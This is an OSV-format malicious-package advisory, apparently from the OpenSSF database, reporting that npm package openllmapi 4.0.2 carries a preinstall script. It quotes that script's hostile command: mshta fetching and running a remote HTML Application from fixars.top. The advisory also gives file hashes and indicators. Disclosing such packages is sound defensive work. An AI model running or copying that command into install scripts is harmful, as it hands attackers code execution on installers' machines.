{"id":"MAL-2026-6364","summary":"Malicious code in openllmapi (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41)\nThe package's preinstall lifecycle script (preinstall.js line 3) runs `cmd /c \"mshta http://fixars.top\"`, which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on `npm install` and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.\n","modified":"2026-06-24T03:31:23.571431567Z","published":"2026-06-24T02:56:49Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007408","import_time":"2026-06-24T03:14:02.45201803Z","modified_time":"2026-06-24T02:56:49Z","sha256":"9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41","source":"amazon-inspector","versions":["4.0.2"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/openllmapi/v/4.0.2"}],"affected":[{"package":{"name":"openllmapi","ecosystem":"npm","purl":"pkg:npm/openllmapi"},"versions":["4.0.2"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/openllmapi/MAL-2026-6364.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"package_integrity":[{"hashes":{"sha1":"b3823fda0af432b7eeb17676511f10567a35def9","sha512_sri":"sha512-eKgchHD0vsciG1f75RPAqajTI0Y0llJFs5/EDlJituq2DF8rcefYnvqKGu+mGpWkS9+Roa1lpF/ywwDL0yQrPw=="},"filename":"openllmapi-4.0.2.tgz"}],"evidence_files":[{"sha256":"6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889","tlsh":"70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd","path":"preinstall.js"},{"sha256":"d09e28cb568bc403093feef78ef6b0ae9b5365412adec88d82c723451b0b771f","tlsh":"9be026204c75a53369c202a50ca64021b760cf1b06107c0e6bcf142c038e6b754ff20d","path":"package.json"}]}}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}